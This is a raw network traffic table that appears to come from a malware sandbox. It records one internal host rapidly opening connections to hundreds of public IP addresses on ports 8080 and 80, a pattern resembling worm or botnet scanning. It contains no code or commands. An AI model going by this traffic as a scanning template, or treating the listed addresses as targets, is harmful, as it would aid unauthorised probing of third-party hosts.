Feb 19, 2025 19:48:58.120537996 CET	7173	8080	192.168.2.15	94.157.177.106
Feb 19, 2025 19:48:58.120541096 CET	7173	8080	192.168.2.15	62.32.97.98
Feb 19, 2025 19:48:58.120554924 CET	7685	80	192.168.2.15	88.142.232.205
Feb 19, 2025 19:48:58.120565891 CET	7173	8080	192.168.2.15	95.93.81.77
Feb 19, 2025 19:48:58.120568037 CET	7685	80	192.168.2.15	88.55.107.69
Feb 19, 2025 19:48:58.120573997 CET	7173	8080	192.168.2.15	85.69.156.72
Feb 19, 2025 19:48:58.120573997 CET	7173	8080	192.168.2.15	62.98.147.196
Feb 19, 2025 19:48:58.120583057 CET	7685	80	192.168.2.15	88.49.246.206
Feb 19, 2025 19:48:58.120584965 CET	7173	8080	192.168.2.15	95.117.23.163
Feb 19, 2025 19:48:58.120601892 CET	7685	80	192.168.2.15	88.253.0.64
Feb 19, 2025 19:48:58.120604038 CET	7173	8080	192.168.2.15	94.210.144.174
Feb 19, 2025 19:48:58.120604992 CET	7173	8080	192.168.2.15	62.229.69.46
Feb 19, 2025 19:48:58.120614052 CET	7173	8080	192.168.2.15	85.189.78.185
Feb 19, 2025 19:48:58.120635986 CET	7173	8080	192.168.2.15	95.73.44.19
Feb 19, 2025 19:48:58.120637894 CET	7173	8080	192.168.2.15	31.60.250.169
Feb 19, 2025 19:48:58.120639086 CET	7685	80	192.168.2.15	88.180.35.107
Feb 19, 2025 19:48:58.120647907 CET	7173	8080	192.168.2.15	85.202.10.214
Feb 19, 2025 19:48:58.120647907 CET	7685	80	192.168.2.15	88.177.178.36
Feb 19, 2025 19:48:58.120660067 CET	7173	8080	192.168.2.15	62.32.126.125
Feb 19, 2025 19:48:58.120662928 CET	7173	8080	192.168.2.15	31.113.42.30
Feb 19, 2025 19:48:58.120672941 CET	7685	80	192.168.2.15	88.43.235.66
Feb 19, 2025 19:48:58.120672941 CET	7173	8080	192.168.2.15	31.247.23.131
Feb 19, 2025 19:48:58.120692015 CET	7173	8080	192.168.2.15	62.55.129.245
Feb 19, 2025 19:48:58.120692015 CET	7173	8080	192.168.2.15	62.148.51.185
Feb 19, 2025 19:48:58.120697021 CET	7173	8080	192.168.2.15	62.147.186.140
Feb 19, 2025 19:48:58.120711088 CET	7685	80	192.168.2.15	88.129.173.156
Feb 19, 2025 19:48:58.120713949 CET	7173	8080	192.168.2.15	94.22.223.124
Feb 19, 2025 19:48:58.120717049 CET	7173	8080	192.168.2.15	94.50.221.219
Feb 19, 2025 19:48:58.120728970 CET	7685	80	192.168.2.15	88.101.168.24
Feb 19, 2025 19:48:58.120728970 CET	7173	8080	192.168.2.15	94.231.163.248
Feb 19, 2025 19:48:58.120728970 CET	7173	8080	192.168.2.15	85.84.191.62
Feb 19, 2025 19:48:58.120744944 CET	7173	8080	192.168.2.15	62.177.130.59
Feb 19, 2025 19:48:58.120745897 CET	7173	8080	192.168.2.15	95.1.186.197
Feb 19, 2025 19:48:58.120764971 CET	7173	8080	192.168.2.15	95.100.132.255
Feb 19, 2025 19:48:58.120765924 CET	7173	8080	192.168.2.15	85.131.63.54
Feb 19, 2025 19:48:58.120765924 CET	7685	80	192.168.2.15	88.163.218.253
Feb 19, 2025 19:48:58.120765924 CET	7173	8080	192.168.2.15	31.4.130.227
Feb 19, 2025 19:48:58.120778084 CET	7173	8080	192.168.2.15	31.64.115.248
Feb 19, 2025 19:48:58.120788097 CET	7173	8080	192.168.2.15	62.148.15.100
Feb 19, 2025 19:48:58.120794058 CET	7685	80	192.168.2.15	88.151.121.130
Feb 19, 2025 19:48:58.120798111 CET	7173	8080	192.168.2.15	31.59.2.37
Feb 19, 2025 19:48:58.120798111 CET	7173	8080	192.168.2.15	95.35.74.117
Feb 19, 2025 19:48:58.120810032 CET	7685	80	192.168.2.15	88.57.107.50
Feb 19, 2025 19:48:58.120816946 CET	7173	8080	192.168.2.15	94.116.176.161
Feb 19, 2025 19:48:58.120819092 CET	7173	8080	192.168.2.15	31.75.51.192
Feb 19, 2025 19:48:58.120824099 CET	7173	8080	192.168.2.15	85.99.129.242
Feb 19, 2025 19:48:58.120836020 CET	7173	8080	192.168.2.15	95.34.168.103
Feb 19, 2025 19:48:58.120842934 CET	7173	8080	192.168.2.15	95.60.159.87
Feb 19, 2025 19:48:58.120843887 CET	7173	8080	192.168.2.15	94.86.87.173
Feb 19, 2025 19:48:58.120845079 CET	7685	80	192.168.2.15	88.197.73.236
Feb 19, 2025 19:48:58.120855093 CET	7173	8080	192.168.2.15	31.123.66.52
Feb 19, 2025 19:48:58.120865107 CET	7173	8080	192.168.2.15	94.118.219.229
Feb 19, 2025 19:48:58.120872021 CET	7173	8080	192.168.2.15	62.18.109.215
Feb 19, 2025 19:48:58.120882988 CET	7685	80	192.168.2.15	88.125.161.55
Feb 19, 2025 19:48:58.120896101 CET	7173	8080	192.168.2.15	85.14.185.132
Feb 19, 2025 19:48:58.120896101 CET	7173	8080	192.168.2.15	94.28.108.221
Feb 19, 2025 19:48:58.120899916 CET	7173	8080	192.168.2.15	95.182.139.139
Feb 19, 2025 19:48:58.120915890 CET	7173	8080	192.168.2.15	94.151.55.106
Feb 19, 2025 19:48:58.120918036 CET	7685	80	192.168.2.15	88.235.38.94
Feb 19, 2025 19:48:58.120918036 CET	7173	8080	192.168.2.15	95.145.182.36
Feb 19, 2025 19:48:58.120918036 CET	7173	8080	192.168.2.15	95.211.170.7
Feb 19, 2025 19:48:58.120929003 CET	7173	8080	192.168.2.15	62.44.243.22
Feb 19, 2025 19:48:58.120929956 CET	7685	80	192.168.2.15	88.162.90.142
Feb 19, 2025 19:48:58.120935917 CET	7173	8080	192.168.2.15	85.47.112.230
Feb 19, 2025 19:48:58.120940924 CET	7173	8080	192.168.2.15	85.11.141.95
Feb 19, 2025 19:48:58.120956898 CET	7173	8080	192.168.2.15	62.7.40.99
Feb 19, 2025 19:48:58.120959997 CET	7173	8080	192.168.2.15	62.31.8.117
Feb 19, 2025 19:48:58.120964050 CET	7685	80	192.168.2.15	88.183.149.96
Feb 19, 2025 19:48:58.120974064 CET	7173	8080	192.168.2.15	31.96.4.94
Feb 19, 2025 19:48:58.120975971 CET	7685	80	192.168.2.15	88.59.164.230
Feb 19, 2025 19:48:58.120975971 CET	7173	8080	192.168.2.15	62.66.245.105
Feb 19, 2025 19:48:58.120975971 CET	7173	8080	192.168.2.15	85.159.248.241
Feb 19, 2025 19:48:58.120984077 CET	7685	80	192.168.2.15	88.212.192.34
Feb 19, 2025 19:48:58.120999098 CET	7173	8080	192.168.2.15	94.127.67.221
Feb 19, 2025 19:48:58.121014118 CET	7173	8080	192.168.2.15	94.69.79.9
Feb 19, 2025 19:48:58.121015072 CET	7685	80	192.168.2.15	88.125.189.235
Feb 19, 2025 19:48:58.121015072 CET	7173	8080	192.168.2.15	31.43.46.68
Feb 19, 2025 19:48:58.121020079 CET	7173	8080	192.168.2.15	95.166.93.205
Feb 19, 2025 19:48:58.121026993 CET	7173	8080	192.168.2.15	94.30.147.4
Feb 19, 2025 19:48:58.121038914 CET	7685	80	192.168.2.15	88.163.110.36
Feb 19, 2025 19:48:58.121038914 CET	7685	80	192.168.2.15	88.176.221.29
Feb 19, 2025 19:48:58.121053934 CET	7173	8080	192.168.2.15	62.176.70.213
Feb 19, 2025 19:48:58.121064901 CET	7173	8080	192.168.2.15	62.160.135.157
Feb 19, 2025 19:48:58.121067047 CET	7173	8080	192.168.2.15	85.186.97.239
Feb 19, 2025 19:48:58.121073008 CET	7685	80	192.168.2.15	88.112.126.8
Feb 19, 2025 19:48:58.121081114 CET	7173	8080	192.168.2.15	31.63.201.62
Feb 19, 2025 19:48:58.121087074 CET	7173	8080	192.168.2.15	94.98.111.92
Feb 19, 2025 19:48:58.121104002 CET	7173	8080	192.168.2.15	62.252.177.52
Feb 19, 2025 19:48:58.121109009 CET	7173	8080	192.168.2.15	95.182.195.97
Feb 19, 2025 19:48:58.121120930 CET	7173	8080	192.168.2.15	31.50.93.163
Feb 19, 2025 19:48:58.121135950 CET	7173	8080	192.168.2.15	85.26.20.105
Feb 19, 2025 19:48:58.121138096 CET	7173	8080	192.168.2.15	94.86.37.59
Feb 19, 2025 19:48:58.121143103 CET	7173	8080	192.168.2.15	85.244.43.79
Feb 19, 2025 19:48:58.121155024 CET	7173	8080	192.168.2.15	62.2.135.57
Feb 19, 2025 19:48:58.121164083 CET	7173	8080	192.168.2.15	94.147.243.150
Feb 19, 2025 19:48:58.121172905 CET	7173	8080	192.168.2.15	62.65.61.10
Feb 19, 2025 19:48:58.121184111 CET	7173	8080	192.168.2.15	85.128.145.100
Feb 19, 2025 19:48:58.121202946 CET	7173	8080	192.168.2.15	95.185.223.119
Feb 19, 2025 19:48:58.121203899 CET	7173	8080	192.168.2.15	85.153.201.103
Feb 19, 2025 19:48:58.121206045 CET	7173	8080	192.168.2.15	94.48.29.80
Feb 19, 2025 19:48:58.121218920 CET	7173	8080	192.168.2.15	94.190.118.11
Feb 19, 2025 19:48:58.121225119 CET	7173	8080	192.168.2.15	85.183.155.26
Feb 19, 2025 19:48:58.121243954 CET	7173	8080	192.168.2.15	62.243.6.46
Feb 19, 2025 19:48:58.121243954 CET	7173	8080	192.168.2.15	94.126.127.133
Feb 19, 2025 19:48:58.121243954 CET	7173	8080	192.168.2.15	85.77.171.81
Feb 19, 2025 19:48:58.121251106 CET	7173	8080	192.168.2.15	95.71.61.94
Feb 19, 2025 19:48:58.121259928 CET	7173	8080	192.168.2.15	94.5.235.95
Feb 19, 2025 19:48:58.121277094 CET	7173	8080	192.168.2.15	85.141.33.221
Feb 19, 2025 19:48:58.121289968 CET	7173	8080	192.168.2.15	62.199.139.62
Feb 19, 2025 19:48:58.121293068 CET	7173	8080	192.168.2.15	85.234.246.245
Feb 19, 2025 19:48:58.121303082 CET	7173	8080	192.168.2.15	62.226.57.249
Feb 19, 2025 19:48:58.121309042 CET	7173	8080	192.168.2.15	31.122.34.19
Feb 19, 2025 19:48:58.121320963 CET	7173	8080	192.168.2.15	85.195.97.36
Feb 19, 2025 19:48:58.121320963 CET	7173	8080	192.168.2.15	94.47.73.135
Feb 19, 2025 19:48:58.121330023 CET	7173	8080	192.168.2.15	94.40.110.83
Feb 19, 2025 19:48:58.121347904 CET	7173	8080	192.168.2.15	31.146.40.217
Feb 19, 2025 19:48:58.121351957 CET	7173	8080	192.168.2.15	85.79.164.185
Feb 19, 2025 19:48:58.121356964 CET	7173	8080	192.168.2.15	62.252.74.68
Feb 19, 2025 19:48:58.121371984 CET	7173	8080	192.168.2.15	62.239.86.167
Feb 19, 2025 19:48:58.121371984 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:58.121387005 CET	7173	8080	192.168.2.15	95.34.72.76
Feb 19, 2025 19:48:58.121397018 CET	7173	8080	192.168.2.15	62.155.197.32
Feb 19, 2025 19:48:58.121397018 CET	59142	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:58.121416092 CET	7173	8080	192.168.2.15	31.191.174.12
Feb 19, 2025 19:48:58.121424913 CET	7173	8080	192.168.2.15	85.236.196.197
Feb 19, 2025 19:48:58.121429920 CET	7173	8080	192.168.2.15	95.138.158.196
Feb 19, 2025 19:48:58.121429920 CET	7173	8080	192.168.2.15	85.230.249.21
Feb 19, 2025 19:48:58.121434927 CET	7173	8080	192.168.2.15	94.203.189.161
Feb 19, 2025 19:48:58.121454954 CET	7173	8080	192.168.2.15	85.214.99.70
Feb 19, 2025 19:48:58.121459961 CET	7173	8080	192.168.2.15	62.239.159.80
Feb 19, 2025 19:48:58.121470928 CET	7173	8080	192.168.2.15	31.138.36.84
Feb 19, 2025 19:48:58.121486902 CET	7173	8080	192.168.2.15	31.188.52.55
Feb 19, 2025 19:48:58.121495962 CET	7173	8080	192.168.2.15	62.231.103.202
Feb 19, 2025 19:48:58.121507883 CET	7173	8080	192.168.2.15	31.246.135.181
Feb 19, 2025 19:48:58.121512890 CET	7173	8080	192.168.2.15	62.151.11.197
Feb 19, 2025 19:48:58.121517897 CET	7173	8080	192.168.2.15	95.245.142.107
Feb 19, 2025 19:48:58.121531010 CET	7173	8080	192.168.2.15	62.184.243.250
Feb 19, 2025 19:48:58.121547937 CET	7173	8080	192.168.2.15	31.90.234.157
Feb 19, 2025 19:48:58.121547937 CET	7173	8080	192.168.2.15	62.15.49.85
Feb 19, 2025 19:48:58.121550083 CET	7173	8080	192.168.2.15	95.178.132.149
Feb 19, 2025 19:48:58.121575117 CET	7173	8080	192.168.2.15	31.137.213.46
Feb 19, 2025 19:48:58.121579885 CET	7173	8080	192.168.2.15	94.138.33.85
Feb 19, 2025 19:48:58.121583939 CET	7173	8080	192.168.2.15	95.80.72.85
Feb 19, 2025 19:48:58.121596098 CET	7173	8080	192.168.2.15	62.42.145.111
Feb 19, 2025 19:48:58.121611118 CET	7173	8080	192.168.2.15	62.29.16.245
Feb 19, 2025 19:48:58.121611118 CET	7173	8080	192.168.2.15	85.161.252.191
Feb 19, 2025 19:48:58.121627092 CET	7173	8080	192.168.2.15	62.153.232.76
Feb 19, 2025 19:48:58.121634007 CET	7173	8080	192.168.2.15	62.240.150.163
Feb 19, 2025 19:48:58.121644020 CET	7173	8080	192.168.2.15	95.95.132.152
Feb 19, 2025 19:48:58.121665001 CET	7173	8080	192.168.2.15	94.43.2.249
Feb 19, 2025 19:48:58.121665001 CET	7173	8080	192.168.2.15	85.147.42.73
Feb 19, 2025 19:48:58.121679068 CET	7173	8080	192.168.2.15	62.144.119.57
Feb 19, 2025 19:48:58.121682882 CET	7173	8080	192.168.2.15	62.163.83.145
Feb 19, 2025 19:48:58.121687889 CET	7173	8080	192.168.2.15	62.191.130.240
Feb 19, 2025 19:48:58.121700048 CET	7173	8080	192.168.2.15	31.132.15.91
Feb 19, 2025 19:48:58.121711016 CET	7173	8080	192.168.2.15	94.142.72.172
Feb 19, 2025 19:48:58.121716022 CET	7173	8080	192.168.2.15	94.83.242.53
Feb 19, 2025 19:48:58.121727943 CET	7173	8080	192.168.2.15	62.65.79.81
Feb 19, 2025 19:48:58.121746063 CET	7173	8080	192.168.2.15	95.17.96.31
Feb 19, 2025 19:48:58.121746063 CET	7173	8080	192.168.2.15	94.190.144.65
Feb 19, 2025 19:48:58.121762991 CET	7173	8080	192.168.2.15	31.188.47.207
Feb 19, 2025 19:48:58.121768951 CET	7173	8080	192.168.2.15	94.161.236.183
Feb 19, 2025 19:48:58.121777058 CET	7173	8080	192.168.2.15	85.4.73.98
Feb 19, 2025 19:48:58.121782064 CET	60070	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:58.121803045 CET	7173	8080	192.168.2.15	95.248.216.18
Feb 19, 2025 19:48:58.121803045 CET	7173	8080	192.168.2.15	31.215.167.171
Feb 19, 2025 19:48:58.121808052 CET	7173	8080	192.168.2.15	95.141.92.225
Feb 19, 2025 19:48:58.121815920 CET	7173	8080	192.168.2.15	95.133.7.219
Feb 19, 2025 19:48:58.121831894 CET	7173	8080	192.168.2.15	62.191.72.69
Feb 19, 2025 19:48:58.121860027 CET	7173	8080	192.168.2.15	62.227.139.5
Feb 19, 2025 19:48:58.121860027 CET	7173	8080	192.168.2.15	62.22.92.188
Feb 19, 2025 19:48:58.121861935 CET	7173	8080	192.168.2.15	62.235.110.60
Feb 19, 2025 19:48:58.121861935 CET	7173	8080	192.168.2.15	62.91.195.59
Feb 19, 2025 19:48:58.121886015 CET	7173	8080	192.168.2.15	95.199.134.108
Feb 19, 2025 19:48:58.121901035 CET	7173	8080	192.168.2.15	94.44.112.171
Feb 19, 2025 19:48:58.121901989 CET	7173	8080	192.168.2.15	85.96.48.211
Feb 19, 2025 19:48:58.121915102 CET	7173	8080	192.168.2.15	85.197.98.230
Feb 19, 2025 19:48:58.121916056 CET	7173	8080	192.168.2.15	62.99.180.138
Feb 19, 2025 19:48:58.121927977 CET	7173	8080	192.168.2.15	95.95.238.31
Feb 19, 2025 19:48:58.121952057 CET	7173	8080	192.168.2.15	85.180.232.158
Feb 19, 2025 19:48:58.121953964 CET	7173	8080	192.168.2.15	62.251.152.98
Feb 19, 2025 19:48:58.121958971 CET	7173	8080	192.168.2.15	31.206.174.212
Feb 19, 2025 19:48:58.121977091 CET	7173	8080	192.168.2.15	31.90.46.245
Feb 19, 2025 19:48:58.121984959 CET	7173	8080	192.168.2.15	95.66.27.222
Feb 19, 2025 19:48:58.121989965 CET	7173	8080	192.168.2.15	94.38.61.223
Feb 19, 2025 19:48:58.122009039 CET	7173	8080	192.168.2.15	94.138.192.10
Feb 19, 2025 19:48:58.122011900 CET	7173	8080	192.168.2.15	94.84.188.98
Feb 19, 2025 19:48:58.122018099 CET	7173	8080	192.168.2.15	31.164.72.73
Feb 19, 2025 19:48:58.122030973 CET	7173	8080	192.168.2.15	31.158.230.123
Feb 19, 2025 19:48:58.122040033 CET	7173	8080	192.168.2.15	95.31.163.22
Feb 19, 2025 19:48:58.122055054 CET	7173	8080	192.168.2.15	94.152.236.16
Feb 19, 2025 19:48:58.122068882 CET	7173	8080	192.168.2.15	95.23.120.246
Feb 19, 2025 19:48:58.122082949 CET	7173	8080	192.168.2.15	94.31.115.248
Feb 19, 2025 19:48:58.122096062 CET	7173	8080	192.168.2.15	85.147.94.91
Feb 19, 2025 19:48:58.122098923 CET	7173	8080	192.168.2.15	95.250.144.246
Feb 19, 2025 19:48:58.122112989 CET	7173	8080	192.168.2.15	94.51.115.83
Feb 19, 2025 19:48:58.122133017 CET	7173	8080	192.168.2.15	31.164.157.54
Feb 19, 2025 19:48:58.122133017 CET	7173	8080	192.168.2.15	31.255.146.113
Feb 19, 2025 19:48:58.122133970 CET	7173	8080	192.168.2.15	62.36.142.185
Feb 19, 2025 19:48:58.122139931 CET	7173	8080	192.168.2.15	95.23.212.89
Feb 19, 2025 19:48:58.122148991 CET	7173	8080	192.168.2.15	95.111.195.145
Feb 19, 2025 19:48:58.122160912 CET	7173	8080	192.168.2.15	31.215.93.26
Feb 19, 2025 19:48:58.122164965 CET	7173	8080	192.168.2.15	85.170.143.250
Feb 19, 2025 19:48:58.122178078 CET	7173	8080	192.168.2.15	31.10.51.165
Feb 19, 2025 19:48:58.122200966 CET	7173	8080	192.168.2.15	31.250.21.185
Feb 19, 2025 19:48:58.122217894 CET	7173	8080	192.168.2.15	62.164.126.228
Feb 19, 2025 19:48:58.122225046 CET	7173	8080	192.168.2.15	31.18.241.189
Feb 19, 2025 19:48:58.122236013 CET	7173	8080	192.168.2.15	62.237.240.90
Feb 19, 2025 19:48:58.122241974 CET	7173	8080	192.168.2.15	31.163.184.209
Feb 19, 2025 19:48:58.122258902 CET	7173	8080	192.168.2.15	62.45.249.36
Feb 19, 2025 19:48:58.122272015 CET	7173	8080	192.168.2.15	95.46.1.192
Feb 19, 2025 19:48:58.122277021 CET	7173	8080	192.168.2.15	62.236.44.113
Feb 19, 2025 19:48:58.122283936 CET	7173	8080	192.168.2.15	94.201.118.135
Feb 19, 2025 19:48:58.122291088 CET	7173	8080	192.168.2.15	31.9.199.185
Feb 19, 2025 19:48:58.122291088 CET	7173	8080	192.168.2.15	95.14.248.3
Feb 19, 2025 19:48:58.122303009 CET	7173	8080	192.168.2.15	95.23.35.134
Feb 19, 2025 19:48:58.122318029 CET	7173	8080	192.168.2.15	31.178.59.170
Feb 19, 2025 19:48:58.122318029 CET	7173	8080	192.168.2.15	94.30.51.213
Feb 19, 2025 19:48:58.122343063 CET	7173	8080	192.168.2.15	95.134.190.86
Feb 19, 2025 19:48:58.122356892 CET	7173	8080	192.168.2.15	85.98.133.112
Feb 19, 2025 19:48:58.122375011 CET	7173	8080	192.168.2.15	85.235.145.189
Feb 19, 2025 19:48:58.122380972 CET	7173	8080	192.168.2.15	31.206.140.167
Feb 19, 2025 19:48:58.122392893 CET	7173	8080	192.168.2.15	95.238.105.89
Feb 19, 2025 19:48:58.122392893 CET	7173	8080	192.168.2.15	85.162.226.252
Feb 19, 2025 19:48:58.122392893 CET	7173	8080	192.168.2.15	62.207.179.185
Feb 19, 2025 19:48:58.122402906 CET	7173	8080	192.168.2.15	95.229.91.255
Feb 19, 2025 19:48:58.122406960 CET	7173	8080	192.168.2.15	31.139.23.39
Feb 19, 2025 19:48:58.122414112 CET	7173	8080	192.168.2.15	95.104.123.149
Feb 19, 2025 19:48:58.122422934 CET	7173	8080	192.168.2.15	94.205.109.178
Feb 19, 2025 19:48:58.122437000 CET	7173	8080	192.168.2.15	95.254.141.117
Feb 19, 2025 19:48:58.122451067 CET	7173	8080	192.168.2.15	95.178.253.76
Feb 19, 2025 19:48:58.122457981 CET	7173	8080	192.168.2.15	62.33.128.235
Feb 19, 2025 19:48:58.122477055 CET	7173	8080	192.168.2.15	85.50.228.161
Feb 19, 2025 19:48:58.122477055 CET	7173	8080	192.168.2.15	85.214.171.224
Feb 19, 2025 19:48:58.122477055 CET	7173	8080	192.168.2.15	31.255.4.242
Feb 19, 2025 19:48:58.122483015 CET	7173	8080	192.168.2.15	62.182.51.36
Feb 19, 2025 19:48:58.122493982 CET	7173	8080	192.168.2.15	94.75.127.210
Feb 19, 2025 19:48:58.122508049 CET	7173	8080	192.168.2.15	85.194.126.97
Feb 19, 2025 19:48:58.122508049 CET	7173	8080	192.168.2.15	85.109.18.223
Feb 19, 2025 19:48:58.122524977 CET	7173	8080	192.168.2.15	85.215.53.131
Feb 19, 2025 19:48:58.122534037 CET	7173	8080	192.168.2.15	31.77.252.225
Feb 19, 2025 19:48:58.122538090 CET	7173	8080	192.168.2.15	94.235.37.84
Feb 19, 2025 19:48:58.122550011 CET	7173	8080	192.168.2.15	94.20.227.172
Feb 19, 2025 19:48:58.122561932 CET	7173	8080	192.168.2.15	94.92.206.50
Feb 19, 2025 19:48:58.122571945 CET	7173	8080	192.168.2.15	94.58.248.48
Feb 19, 2025 19:48:58.122585058 CET	7173	8080	192.168.2.15	62.115.247.52
Feb 19, 2025 19:48:58.122587919 CET	7173	8080	192.168.2.15	95.78.213.62
Feb 19, 2025 19:48:58.122591972 CET	7173	8080	192.168.2.15	31.204.235.196
Feb 19, 2025 19:48:58.122603893 CET	7173	8080	192.168.2.15	62.20.5.186
Feb 19, 2025 19:48:58.122608900 CET	7173	8080	192.168.2.15	85.82.150.187
Feb 19, 2025 19:48:58.122632027 CET	7173	8080	192.168.2.15	94.144.193.155
Feb 19, 2025 19:48:58.122632027 CET	7173	8080	192.168.2.15	85.218.36.162
Feb 19, 2025 19:48:58.122638941 CET	7173	8080	192.168.2.15	95.208.168.230
Feb 19, 2025 19:48:58.122643948 CET	7173	8080	192.168.2.15	85.146.28.30
Feb 19, 2025 19:48:58.122662067 CET	7173	8080	192.168.2.15	95.19.66.207
Feb 19, 2025 19:48:58.122682095 CET	7173	8080	192.168.2.15	62.129.4.64
Feb 19, 2025 19:48:58.122688055 CET	7173	8080	192.168.2.15	95.125.135.190
Feb 19, 2025 19:48:58.122689962 CET	7173	8080	192.168.2.15	31.101.178.112
Feb 19, 2025 19:48:58.122692108 CET	7173	8080	192.168.2.15	85.211.120.39
Feb 19, 2025 19:48:58.122692108 CET	7173	8080	192.168.2.15	31.105.200.253
Feb 19, 2025 19:48:58.122704029 CET	7173	8080	192.168.2.15	31.58.211.196
Feb 19, 2025 19:48:58.122709990 CET	7173	8080	192.168.2.15	94.87.68.111
Feb 19, 2025 19:48:58.122716904 CET	7173	8080	192.168.2.15	95.31.139.169
Feb 19, 2025 19:48:58.122724056 CET	7173	8080	192.168.2.15	62.241.244.157
Feb 19, 2025 19:48:58.122735023 CET	7173	8080	192.168.2.15	31.183.188.72
Feb 19, 2025 19:48:58.122756004 CET	7173	8080	192.168.2.15	31.73.150.42
Feb 19, 2025 19:48:58.122764111 CET	7173	8080	192.168.2.15	62.254.35.254
Feb 19, 2025 19:48:58.122767925 CET	7173	8080	192.168.2.15	85.81.225.76
Feb 19, 2025 19:48:58.122776985 CET	7173	8080	192.168.2.15	31.239.252.94
Feb 19, 2025 19:48:58.122807026 CET	7173	8080	192.168.2.15	85.243.112.105
Feb 19, 2025 19:48:58.122807026 CET	7173	8080	192.168.2.15	62.131.21.60
Feb 19, 2025 19:48:58.122816086 CET	7173	8080	192.168.2.15	85.11.199.230
Feb 19, 2025 19:48:58.122821093 CET	80	7685	88.33.118.61	192.168.2.15
Feb 19, 2025 19:48:58.122833014 CET	7173	8080	192.168.2.15	62.18.188.61
Feb 19, 2025 19:48:58.122833014 CET	7173	8080	192.168.2.15	85.60.116.107
Feb 19, 2025 19:48:58.122833014 CET	7173	8080	192.168.2.15	85.11.215.24
Feb 19, 2025 19:48:58.122833014 CET	7173	8080	192.168.2.15	62.125.54.35
Feb 19, 2025 19:48:58.122833014 CET	7173	8080	192.168.2.15	85.77.33.179
Feb 19, 2025 19:48:58.122843027 CET	7173	8080	192.168.2.15	94.189.57.162
Feb 19, 2025 19:48:58.122862101 CET	7685	80	192.168.2.15	88.33.118.61
Feb 19, 2025 19:48:58.122872114 CET	7173	8080	192.168.2.15	85.131.32.220
Feb 19, 2025 19:48:58.122896910 CET	7173	8080	192.168.2.15	31.229.93.86
Feb 19, 2025 19:48:58.122910023 CET	7173	8080	192.168.2.15	31.222.129.246
Feb 19, 2025 19:48:58.122931004 CET	7173	8080	192.168.2.15	95.81.178.66
Feb 19, 2025 19:48:58.122937918 CET	7173	8080	192.168.2.15	31.246.30.153
Feb 19, 2025 19:48:58.122946978 CET	7173	8080	192.168.2.15	95.228.149.228
Feb 19, 2025 19:48:58.122951984 CET	7173	8080	192.168.2.15	62.125.12.174
Feb 19, 2025 19:48:58.122951984 CET	7173	8080	192.168.2.15	95.163.235.148
Feb 19, 2025 19:48:58.122951984 CET	7173	8080	192.168.2.15	31.227.240.53
Feb 19, 2025 19:48:58.122953892 CET	7173	8080	192.168.2.15	94.239.145.17
Feb 19, 2025 19:48:58.122953892 CET	7173	8080	192.168.2.15	94.250.142.47
Feb 19, 2025 19:48:58.122967005 CET	7173	8080	192.168.2.15	62.201.38.166
Feb 19, 2025 19:48:58.122977018 CET	7173	8080	192.168.2.15	62.150.140.245
Feb 19, 2025 19:48:58.122982025 CET	7173	8080	192.168.2.15	62.172.53.127
Feb 19, 2025 19:48:58.122989893 CET	7173	8080	192.168.2.15	85.13.65.149
Feb 19, 2025 19:48:58.123003006 CET	7173	8080	192.168.2.15	62.223.122.185
Feb 19, 2025 19:48:58.123032093 CET	7173	8080	192.168.2.15	85.51.154.188
Feb 19, 2025 19:48:58.123053074 CET	7173	8080	192.168.2.15	31.93.204.6
Feb 19, 2025 19:48:58.123066902 CET	7173	8080	192.168.2.15	95.132.125.5
Feb 19, 2025 19:48:58.123069048 CET	7173	8080	192.168.2.15	62.91.201.170
Feb 19, 2025 19:48:58.123080015 CET	7173	8080	192.168.2.15	62.143.119.166
Feb 19, 2025 19:48:58.123080969 CET	7173	8080	192.168.2.15	31.193.59.88
Feb 19, 2025 19:48:58.123080969 CET	7173	8080	192.168.2.15	62.243.21.148
Feb 19, 2025 19:48:58.123080969 CET	7173	8080	192.168.2.15	94.36.37.174
Feb 19, 2025 19:48:58.123080969 CET	7173	8080	192.168.2.15	94.182.22.62
Feb 19, 2025 19:48:58.123086929 CET	7173	8080	192.168.2.15	31.203.53.112
Feb 19, 2025 19:48:58.123102903 CET	7173	8080	192.168.2.15	31.20.149.20
Feb 19, 2025 19:48:58.123106956 CET	7173	8080	192.168.2.15	85.9.21.46
Feb 19, 2025 19:48:58.123116016 CET	7173	8080	192.168.2.15	95.246.173.100
Feb 19, 2025 19:48:58.123123884 CET	7173	8080	192.168.2.15	85.152.36.130
Feb 19, 2025 19:48:58.123136044 CET	7173	8080	192.168.2.15	62.118.97.211
Feb 19, 2025 19:48:58.123153925 CET	7173	8080	192.168.2.15	85.45.72.41
Feb 19, 2025 19:48:58.123157024 CET	7173	8080	192.168.2.15	62.183.101.162
Feb 19, 2025 19:48:58.123162031 CET	7173	8080	192.168.2.15	31.25.242.19
Feb 19, 2025 19:48:58.123178005 CET	7173	8080	192.168.2.15	85.82.217.178
Feb 19, 2025 19:48:58.123198986 CET	7173	8080	192.168.2.15	31.9.76.198
Feb 19, 2025 19:48:58.123203039 CET	7173	8080	192.168.2.15	62.62.21.131
Feb 19, 2025 19:48:58.123212099 CET	7173	8080	192.168.2.15	85.185.94.235
Feb 19, 2025 19:48:58.123212099 CET	7173	8080	192.168.2.15	85.118.46.147
Feb 19, 2025 19:48:58.123228073 CET	7173	8080	192.168.2.15	62.26.228.94
Feb 19, 2025 19:48:58.123233080 CET	7173	8080	192.168.2.15	31.89.53.14
Feb 19, 2025 19:48:58.123244047 CET	7173	8080	192.168.2.15	95.13.33.20
Feb 19, 2025 19:48:58.123248100 CET	7173	8080	192.168.2.15	31.242.109.231
Feb 19, 2025 19:48:58.123251915 CET	7173	8080	192.168.2.15	94.10.18.253
Feb 19, 2025 19:48:58.123254061 CET	7173	8080	192.168.2.15	31.88.3.182
Feb 19, 2025 19:48:58.123260975 CET	7173	8080	192.168.2.15	62.186.225.29
Feb 19, 2025 19:48:58.123272896 CET	7173	8080	192.168.2.15	31.178.25.36
Feb 19, 2025 19:48:58.123301983 CET	7173	8080	192.168.2.15	85.221.196.77
Feb 19, 2025 19:48:58.123301983 CET	7173	8080	192.168.2.15	31.158.24.1
Feb 19, 2025 19:48:58.123303890 CET	7173	8080	192.168.2.15	62.169.251.179
Feb 19, 2025 19:48:58.123303890 CET	7173	8080	192.168.2.15	62.157.131.9
Feb 19, 2025 19:48:58.123311996 CET	7173	8080	192.168.2.15	95.137.160.38
Feb 19, 2025 19:48:58.123333931 CET	7173	8080	192.168.2.15	62.82.55.62
